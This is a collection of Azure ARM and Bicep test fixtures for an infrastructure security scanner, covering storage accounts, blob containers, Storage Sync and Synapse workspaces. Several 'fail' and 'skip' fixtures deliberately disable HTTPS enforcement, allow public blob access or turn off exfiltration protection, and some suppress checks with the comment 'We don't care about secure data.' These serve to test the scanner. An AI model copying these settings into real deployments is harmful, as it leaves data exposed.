"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2021-04-01", "name": "storageaccountname", "location": "westeurope", "kind": "StorageV2", "sku": { "name": "Standard_GRS", "tier": "Standard" }, "tags": { "environment": "staging" } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountName/passNumber.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2021-04-01", "name": "1234567890", "location": "westeurope", "kind": "StorageV2", "sku": { "name": "Standard_GRS" }, "tags": { "environment": "staging" } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountName/substring.bicep ================================================ @description('Name of the environment') param environmentName string @description('Name of the Storage account') param storageAccountName string = substring('abcdefgh${environmentName}${uniqueString(resourceGroup().id)}', 0, 24) @description('Provide a location for the resources.') param location string = resourceGroup().location resource dataStorageAccount 'Microsoft.Storage/storageAccounts@2021-09-01' = { name: storageAccountName location: location sku: { name: 'Standard_LRS' } kind: 'StorageV2' identity: { type: 'SystemAssigned' } properties: { accessTier: 'Hot' allowBlobPublicAccess: false allowSharedKeyAccess: true allowCrossTenantReplication: false isHnsEnabled: true allowedCopyScope: 'AAD' defaultToOAuthAuthentication: false encryption: { keySource: 'Microsoft.Storage' requireInfrastructureEncryption: false services: { blob: { enabled: true keyType: 'Account' } } } minimumTlsVersion: 'TLS1_2' largeFileSharesState: 'Disabled' sasPolicy: { expirationAction: 'Log' sasExpirationPeriod: '00.00:10:00' } supportsHttpsTrafficOnly: true networkAcls: { bypass: 'AzureServices' virtualNetworkRules: [] ipRules: [] defaultAction: 'Allow' } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountName/tooLong.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2021-04-01", "name": "thisiswayyyyyytoooloooong", "location": "westeurope", "kind": "StorageV2", "sku": { "name": "Standard_GRS" }, "tags": { "environment": "staging" } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/notes.txt ================================================ NOTE: https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/2019-04-01/storageaccounts supportsHttpsTrafficOnly: Allows https traffic only to storage service if sets to true. The default value is true since API version 2019-04-01. Supported API versions for storage accounts are: 2019-06-01, 2019-04-01, 2018-11-01, 2018-07-01, 2018-03-01-preview, 2018-02-01, 2017-10-01, 2017-06-01, 2016-12-01, 2016-05-01, 2016-01-01, 2015-06-15, 2015-05-01-preview ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": false } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2018-11-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": {} } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": true } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": {} } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-PASSED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "httpsOnly": { "type": "bool", "defaultValue": "true", "metadata": { "description": "Enforce HTTPS traffic Only." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": "[parameters('httpsOnly')]" } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-SKIPPED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": false }, "metadata": { "checkov": "CKV_AZURE_3:We don't care about secure data." } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-SKIPPED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": false }, "metadata": { "checkov": [ "CKV_ARM_2", "CKV_AZURE_3:We don't care about secure data." ] } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-SKIPPED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": false }, "metadata": { "checkov": "CKV_AZURE_3" } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsUseReplication/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.13.1.58284", "templateHash": "13120038605368246703" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The storage account location." } }, "storageAccountName": { "type": "string", "defaultValue": "[format('store{0}', uniqueString(resourceGroup().id))]", "metadata": { "description": "The name of the storage account" } } }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2022-09-01", "name": "fail", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": {} } ], "outputs": { "storageAccountName": { "type": "string", "value": "[parameters('storageAccountName')]" }, "storageAccountId": { "type": "string", "value": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountsUseReplication/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.13.1.58284", "templateHash": "13120038605368246703" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The storage account location." } }, "storageAccountName": { "type": "string", "defaultValue": "[format('store{0}', uniqueString(resourceGroup().id))]", "metadata": { "description": "The name of the storage account" } } }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2022-09-01", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "Standard_GRS" }, "kind": "StorageV2", "properties": {} }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2022-09-01", "name": "pass2", "location": "[parameters('location')]", "sku": { "name": "Standard_RAGRS" }, "kind": "StorageV2", "properties": {} } ], "outputs": { "storageAccountName": { "type": "string", "value": "[parameters('storageAccountName')]" }, "storageAccountId": { "type": "string", "value": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageBlobServiceContainerPrivateAccess/storageBlobServiceContainerPrivateAccess-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountName": { "type": "string", "metadata": { "description": "Specifies the name of the Azure Storage account." } }, "containerName": { "type": "string", "defaultValue": "logs", "metadata": { "description": "Specifies the name of the blob container." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the location in which the Azure Storage resources should be deployed." } } }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-06-01", "name": "[parameters('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS", "tier": "Standard" }, "kind": "StorageV2", "properties": { "accessTier": "Hot" }, "resources": [ { "type": "blobServices/containers", "apiVersion": "2019-06-01", "name": "[concat('default/', parameters('containerName'))]", "properties": { "publicAccess": "Container" }, "dependsOn": [ "[parameters('storageAccountName')]" ] } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageBlobServiceContainerPrivateAccess/storageBlobServiceContainerPrivateAccess-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountName": { "type": "string", "metadata": { "description": "Specifies the name of the Azure Storage account." } }, "containerName": { "type": "string", "defaultValue": "logs", "metadata": { "description": "Specifies the name of the blob container." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the location in which the Azure Storage resources should be deployed." } } }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-06-01", "name": "[parameters('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS", "tier": "Standard" }, "kind": "StorageV2", "properties": { "accessTier": "Hot" }, "resources": [ { "type": "blobServices/containers", "apiVersion": "2019-06-01", "name": "[concat('default/', parameters('containerName'))]", "properties": { "publicAccess": "None" }, "resources": [ { "name": "default", "type": "Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies", "apiVersion": "2019-06-01", "properties": { "immutabilityPeriodSinceCreationInDays": "7", "allowProtectedAppendWrites": "false" } } ], "dependsOn": [ "[parameters('storageAccountName')]" ] } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageBlobServiceContainerPrivateAccess/storageBlobServiceContainerPrivateAccess-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountName": { "type": "string", "metadata": { "description": "Specifies the name of the Azure Storage account." } }, "containerName": { "type": "string", "defaultValue": "logs", "metadata": { "description": "Specifies the name of the blob container." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the location in which the Azure Storage resources should be deployed." } } }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-06-01", "name": "[parameters('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS", "tier": "Standard" }, "kind": "StorageV2", "properties": { "accessTier": "Hot" }, "resources": [ { "type": "blobServices/containers", "apiVersion": "2019-06-01", "name": "[concat('default/', parameters('containerName'))]", "dependsOn": [ "[parameters('storageAccountName')]" ] } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageSyncPublicAccessDisabled/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.StorageSync/storageSyncServices", "apiVersion": "2021-02-01", "name": "fail1", "properties": { "storageSyncServiceStatus": "Registered", "storageSyncServiceProperties": { "trustState": "Enabled", "storageSyncServiceUid": "65fdd65b-ea5d-4a00-bf7f-40c41ba39ae4", "provisioningState": "Succeeded" }, "location": "East US", "tags": { "foo": "bar" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageSyncPublicAccessDisabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.StorageSync/storageSyncServices", "apiVersion": "2021-02-01", "name": "fail2", "properties": { "storageSyncServiceStatus": "Registered", "storageSyncServiceProperties": { "trustState": "Enabled", "storageSyncServiceUid": "65fdd65b-ea5d-4a00-bf7f-40c41ba39ae4", "provisioningState": "Succeeded" }, "location": "East US", "incomingTrafficPolicy": "AllowAllTraffic", "tags": { "foo": "bar" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageSyncPublicAccessDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2021-02-01", "name": "pass", "properties": { "storageSyncServiceStatus": "Registered", "storageSyncServiceProperties": { "trustState": "Enabled", "storageSyncServiceUid": "65fdd65b-ea5d-4a00-bf7f-40c41ba39ae4", "provisioningState": "Succeeded" }, "location": "East US", "incomingTrafficPolicy": "AllowVirtualNetworksOnly", "tags": { "foo": "bar" } }, "type": "Microsoft.StorageSync/storageSyncServices" } ] } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceAdministratorLoginPasswordHidden/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-06-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "properties": { "defaultDataLakeStorage": { "accountUrl": "[parameters('storageAccountUrl')]", "filesystem": "[parameters('filesystem')]" }, "sqlAdministratorLogin": "[parameters('sqlAdministratorLogin')]", "sqlAdministratorLoginPassword": { "value": "[parameters('sqlAdministratorLoginPassword')]" } } } ], "parameters": { "workspaceName": { "type": "string", "metadata": { "description": "Name of the Synapse workspace" } }, "location": { "type": "string", "metadata": { "description": "Location for the Synapse workspace" } }, "storageAccountUrl": { "type": "string", "metadata": { "description": "URL of the default Data Lake Storage account" } }, "filesystem": { "type": "string", "metadata": { "description": "Filesystem name in the Data Lake Storage account" } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "SQL administrator login name" } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "SQL administrator login password" } } } } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceAdministratorLoginPasswordHidden/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-06-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "properties": { "defaultDataLakeStorage": { "accountUrl": "[parameters('storageAccountUrl')]", "filesystem": "[parameters('filesystem')]" }, "sqlAdministratorLogin": "[parameters('sqlAdministratorLogin')]" } } ], "parameters": { "workspaceName": { "type": "string", "metadata": { "description": "Name of the Synapse workspace" } }, "location": { "type": "string", "metadata": { "description": "Location for the Synapse workspace" } }, "storageAccountUrl": { "type": "string", "metadata": { "description": "URL of the default Data Lake Storage account" } }, "filesystem": { "type": "string", "metadata": { "description": "Filesystem name in the Data Lake Storage account" } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "SQL administrator login name" } } } } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceCMKEncryption/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-06-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "properties": { "defaultDataLakeStorage": { "accountUrl": "[parameters('storageAccountUrl')]", "filesystem": "[parameters('fileSystem')]" }, "sqlAdministratorLogin": "[parameters('sqlAdministratorLogin')]", "sqlAdministratorLoginPassword": { "value": "[parameters('sqlAdministratorLoginPassword')]" }, "managedVirtualNetwork": "[parameters('managedVirtualNetwork')]" } } ], "parameters": { "workspaceName": { "type": "string", "metadata": { "description": "Name of the Synapse workspace." } }, "location": { "type": "string", "metadata": { "description": "Location of the Synapse workspace." } }, "storageAccountUrl": { "type": "string", "metadata": { "description": "URL of the default Data Lake Storage account." } }, "fileSystem": { "type": "string", "metadata": { "description": "File system name of the default Data Lake Storage account." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "SQL administrator login name." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "SQL administrator login password." } }, "managedVirtualNetwork": { "type": "string", "defaultValue": "default", "metadata": { "description": "Managed Virtual Network name." } } } } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceCMKEncryption/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-06-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "properties": { "defaultDataLakeStorage": { "accountUrl": "[parameters('storageAccountUrl')]", "filesystem": "[parameters('fileSystem')]" }, "sqlAdministratorLogin": "[parameters('sqlAdministratorLogin')]", "sqlAdministratorLoginPassword": { "value": "[parameters('sqlAdministratorLoginPassword')]" }, "managedVirtualNetwork": "[parameters('managedVirtualNetwork')]", "encryption": { "cmk": { "key": { "name": "[parameters('keyName')]", "vaultBaseUrl": "[parameters('keyVaultUrl')]" }, "identity": { "userAssignedIdentity": "[parameters('userAssignedIdentityResourceId')]" } } } }, "identity": { "type": "UserAssigned", "userAssignedIdentities": { "[parameters('userAssignedIdentityResourceId')]": {} } } } ], "parameters": { "workspaceName": { "type": "string", "metadata": { "description": "Name of the Synapse workspace." } }, "location": { "type": "string", "metadata": { "description": "Location of the Synapse workspace." } }, "storageAccountUrl": { "type": "string", "metadata": { "description": "URL of the default Data Lake Storage account." } }, "fileSystem": { "type": "string", "metadata": { "description": "File system name of the default Data Lake Storage account." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "SQL administrator login name." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "SQL administrator login password." } }, "managedVirtualNetwork": { "type": "string", "defaultValue": "default", "metadata": { "description": "Managed Virtual Network name." } }, "keyName": { "type": "string", "metadata": { "description": "The name of the customer-managed key." } }, "keyVaultUrl": { "type": "string", "metadata": { "description": "The URL of the Key Vault containing the customer-managed key." } }, "userAssignedIdentityResourceId": { "type": "string", "metadata": { "description": "The resource ID of the user-assigned managed identity." } } } } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceEnablesDataExfilProtection/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-02-01", "name": "fail1", "location": "East US", "properties": { "dataExfiltrationProtectionEnabled" : "false", "tags": { } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceEnablesDataExfilProtection/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-02-01", "name": "fail2", "location": "East US", "properties": { "tags": { } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceEnablesDataExfilProtection/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-02-01", "name": "pass", "location": "East US", "properties": { "dataExfiltrationProtectionEnabled": true, "tags": { } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SynapseWorkspaceEnablesManagedVirtualNetworks/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "_artifactsLocation": { "type": "string", "defaultValue": "[deployment().properties.templatelink.uri]" }, "_artifactsLocationSASToken": { "type": "securestring", "defaultValue": "" }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for your deployment." } }, "companyTla": { "type": "string", "metadata": { "description": "This is a Three Letter Acronym for your company name. 'CON' for Contoso for example." } }, "allowAllConnections": { "type": "string", "allowedValues": [ "true", "false" ], "defaultValue": "true" }, "sparkDeployment": { "type": "string", "defaultValue": "true", "allowedValues": [ "true", "false" ], "metadata": { "description": "'True' deploys an Apache Spark pool as well as a SQL pool. 'False' does not deploy an Apache Spark pool." } }, "sparkNodeSize": { "type": "string", "defaultValue": "Medium", "allowedValues": [ "Small", "Medium", "Large" ], "metadata": { "description": "This parameter will determine the node size if SparkDeployment is true" } }, "deploymentType": { "type": "string", "defaultValue": "poc", "allowedValues": [ "devtest", "poc", "prod", "shared" ], "metadata": { "description": "Specify deployment type: DevTest, POC, Prod, Shared. This will also be used in the naming convention." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The username of the SQL Administrator" } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The password for the SQL Administrator" } }, "sku": { "type": "string", "defaultValue": "DW100c", "allowedValues": [ "DW100c", "DW200c", "DW300c", "DW400c", "DW500c", "DW1000c", "DW1500c", "DW2000c", "DW2500c", "DW3000c" ], "metadata": { "description": "Select the SKU of the SQL pool." } }, "metadataSync": { "type": "bool", "defaultValue": false, "metadata": { "description": "Choose whether you want to synchronise metadata." } }, "Frequency": { "type": "string", "defaultValue": "Weekdays", "allowedValues": [ "Daily", "Weekdays" ], "metadata": { "description": "Choose whether to run schedule every day of the week, or only on weekdays" } }, "TIME_ZONE": { "type": "string", "defaultValue": "Eastern Standard Time", "allowedValues": [ "Dateline Standard Time", "Samoa Standard Time", "Hawaiian Standard Time", "Alaskan Standard Time", "Pacific Standard Time", "Mountain Standard Time", "Mexico Standard Time 2", "Central Standard Time", "Canada Central Standard Time", "Mexico Standard Time", "Central America Standard Time", "Eastern Standard Time", "Atlantic Standard Time", "Newfoundland and Labrador Standard Time", "E. South America Standard Time", "S.A. Eastern Standard Time", "Greenland Standard Time", "Mid-Atlantic Standard Time", "Azores Standard Time", "Cape Verde Standard Time", "GMT Standard Time", "Greenwich Standard Time", "Central Europe Standard Time", "Central European Standard Time", "Romance Standard Time", "W. Europe Standard Time", "W. Central Africa Standard Time", "E. Europe Standard Time", "Egypt Standard Time", "FLE Standard Time", "GTB Standard Time", "Israel Standard Time", "South Africa Standard Time", "Russian Standard Time", "Arab Standard Time", "E. Africa Standard Time", "Arabic Standard Time", "Iran Standard Time", "Arabian Standard Time", "Caucasus Standard Time", "Transitional Islamic State of Afghanistan Standard Time", "Ekaterinburg Standard Time", "West Asia Standard Time", "India Standard Time", "Nepal Standard Time", "Central Asia Standard Time", "Sri Lanka Standard Time", "Myanmar Standard Time", "North Asia Standard Time", "China Standard Time", "Singapore Standard Time", "Taipei Standard Time", "North Asia East Standard Time", "Korea Standard Time", "Tokyo Standard Time", "Yakutsk Standard Time", "Tasmania Standard Time", "Vladivostok Standard Time", "West Pacific Standard Time", "Central Pacific Standard Time", "Fiji Islands Standard Time", "New Zealand Standard Time", "Tonga Standard Time" ], "metadata": { "description": "Timezone for the schedule. Consult https://msdn.microsoft.com/en-us/library/ms912391(v=winembedded.11).aspx for more information" } }, "ResumeTime": { "type": "string", "defaultValue": "09:00 PM ( 21:00 )", "allowedValues": [ "12:00 AM ( 0:00 )", "01:00 AM ( 1:00 )", "02:00 AM ( 2:00 )", "03:00 AM ( 3:00 )", "04:00 AM ( 4:00 )", "05:00 AM ( 5:00 )", "06:00 AM ( 6:00 )", "07:00 AM ( 7:00 )", "08:00 AM ( 8:00 )", "09:00 AM ( 9:00 )", "10:00 AM ( 10:00 )", "11:00 AM ( 11:00 )", "12:00 PM ( 12:00 )", "01:00 PM ( 13:00 )", "02:00 PM ( 14:00 )", "03:00 PM ( 15:00 )", "04:00 PM ( 16:00 )", "05:00 PM ( 17:00 )", "06:00 PM ( 18:00 )", "07:00 PM ( 19:00 )", "08:00 PM ( 20:00 )", "09:00 PM ( 21:00 )", "10:00 PM ( 22:00 )", "11:00 PM ( 23:00 )" ], "metadata": { "description": "Time of Day when the data warehouse will be resumed" } }, "PauseTime": { "type": "string", "defaultValue": "05:00 PM ( 17:00 )", "allowedValues": [ "12:00 AM ( 0:00 )", "01:00 AM ( 1:00 )", "02:00 AM ( 2:00 )", "03:00 AM ( 3:00 )", "04:00 AM ( 4:00 )", "05:00 AM ( 5:00 )", "06:00 AM ( 6:00 )", "07:00 AM ( 7:00 )", "08:00 AM ( 8:00 )", "09:00 AM ( 9:00 )", "10:00 AM ( 10:00 )", "11:00 AM ( 11:00 